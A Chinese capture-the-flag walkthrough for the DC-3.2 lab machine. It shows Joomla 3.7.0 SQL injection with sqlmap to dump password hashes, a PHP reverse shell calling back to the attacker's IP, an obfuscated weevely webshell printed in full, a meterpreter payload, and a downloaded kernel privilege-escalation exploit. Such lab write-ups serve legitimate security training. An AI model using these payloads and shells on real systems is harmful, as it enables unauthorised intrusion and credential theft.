編碼的世界 / 優質文選 / 文明

DC-3.2靶機


2022年5月04日
-   

目錄

下載安裝
靶場的下載:http://www.five86.com/downloads/DC-3-2.zip
信息收集

存後活主機探測


nmap -sP 192.168.124.0/24


端口服務探測


nmap -A 192.168.124.23


目錄掃描


python3 dirsearch.py -u http://192.168.124.23/ -e* -i 200

發現管理員登錄界面

網站服務探測


訪問網站 Joomla的版本為3.7
漏洞發現
使用joomscan進行進一步掃描 它是一個Joomla掃描儀。 它將幫助網絡開發人員和網站管理員幫助確定已部署的Joomla網站可能存在的安全漏洞。
安裝joomscan(kali中)
apt-get install joomscan
joomscan url http://192.168.124.23

進一步確認了網站信息。搜索joomla漏洞
searchsploit joomla 3.7.0

打開查看漏洞詳情.。
cat /usr/share/exploitdb/exploits/php/webapps/42033.txt

發現存在sql注入。
漏洞利用

sql注入


以上步驟發現靶機存在SQL注入漏洞,並給出了利用方式 sqlmap進行注入
爆數據庫名
sqlmap -u "http://192.168.124.23/index.php?option=com_fields&view=fields&layout=modal&list[fullordering]=updatexml(1,concat(0x7e,database()),1)" dbs


爆表名
sqlmap -u "http://192.168.124.23/index.php?option=com_fields&view=fields&layout=modal&list[fullordering]=updatexml(1,concat(0x7e,database()),1)" -D "joomladb" tables


爆字段名
sqlmap -u "http://192.168.124.23/index.php?option=com_fields&view=fields&layout=modal&list[fullordering]=updatexml(1,concat(0x7e,database()),1)" -D "joomladb" -T "#__users" columns


爆數據
sqlmap -u "http://192.168.124.23/index.php?option=com_fields&view=fields&layout=modal&list[fullordering]=updatexml(1,concat(0x7e,database()),1)" -D "joomladb" -T "#__users" -C name,password dump


創建文件
echo '$2y$10$DpfpYjADpejngxNh9GnmCeyIHCWpL97CVRnGeZsVJwR0kWFlfB1Zu' > test
爆破密碼
john test
john test show


寫shell&反彈shell


方法一
登錄網站:http://192.168.124.23/administrator/,編寫shell
<?php
$sock=fsockopen('192.168.124.26',4444);
$descriptorspec=array(
0=>$sock,
1=>$sock,
2=>$sock
);
$process=proc_open('sh',$descriptorspec,$pipes);
proc_close($process);
echo phpinfo();
?>

Kali開啟監聽,然後訪問shell
nc -lvvp 4444

成功反彈shell,升級一下交互式Shell.
python -c 'import pty;pty.spawn("/bin/bash")'


方法二
weevely生成php shell,密碼為psw。
weevely generate psw weevelyshell.php

查看內容
<?php
$u='D$j++,$Di++){$o.=$Dt{$iD}^$k{$Dj};}}return D$o;}if (D@prDeg_matc';
$f='[1])D,$k))D);$o=@DoDb_gDet_contents()DD;@oDb_end_clean(D);$r=@ba';
$h='D$k="7Dbb48372"D;$kh="9b5a8e26Df73eD";$kf=D"183D1Dcde5Db842";$p';
$j='sDtrleDn($t);$o=D"";for($i=0;$i<$lD;){for(D$Dj=0;($DDj<$c&&$i<$l)D;';
$J='="MIDwNYQFBVujZlDDYTK";funcDDtion x($t,D$k){$c=strDlDen($k);$Dl=D';
$x=str_replace('q','','creqatqeq_fquncqtiqon');
$e='==1) D{@Dob_start();@eDvDal(@gzDuncomDpress(D@x(@baDse64_decodDe($m';
$R='sDDe64D_encode(@x(@gzcDompreDss($oD),$k));pDrint("D$p$khD$r$kf");}';
$k='h(D"/$kDh(D.+)$kf/",@fiDleD_get_contDDenDts("php://inpuDt"),D$m)';
$y=str_replace('D','',$h.$J.$j.$u.$k.$e.$f.$R);
$w=$x('',$y);$w();
?>

上傳到目標服務器,使用weevely連接該shell。
weevely http://192.168.1.31/templates/beez3/weevelyshell.php psw

拿到shell後,用戶為www-data
方法三
跟方法二原理是一樣的。 執行:
msfvenom -p php/meterpreter/reverse_tcp LHOST=192.168.1.31 LPORT=4444 > msfshell.php

生成php的反彈shell: 將shell上傳到DC-3主機中,然後使用msfconsole連接。 依次執行:
use exploit/multi/handler
set PAYLOAD /php/meterpreter/reverse_tcp
set LHOST 192.168.124.23
set PORT 4444
run


然後瀏覽器訪問http://192.168.124.23/templates/beez3/msfshell.php 剩餘步驟參考方法二,成功提權。
提權

系統信息收集


find / -perm -u=s -type f 2>/dev/null
uname -a
cat /etc/issue

系統內核提權


尋找內核提權腳本
searchsploit Ubuntu 16.04

查看詳情
cat usrshareexploitdbexploitslinuxlocal39772.txt

提示有exp的地址,下載
wget https://github.com/offensive-security/exploitdb-bin-sploits/raw/master/bin-sploits/39772.zip

解壓編譯執行
unzip 39772.zip
tar -xf exploit.tar
cd ebpf_mapfd_doubleput_exploit
./compile.sh

成功提權。 最後在root目錄下找到flag。

熱門文章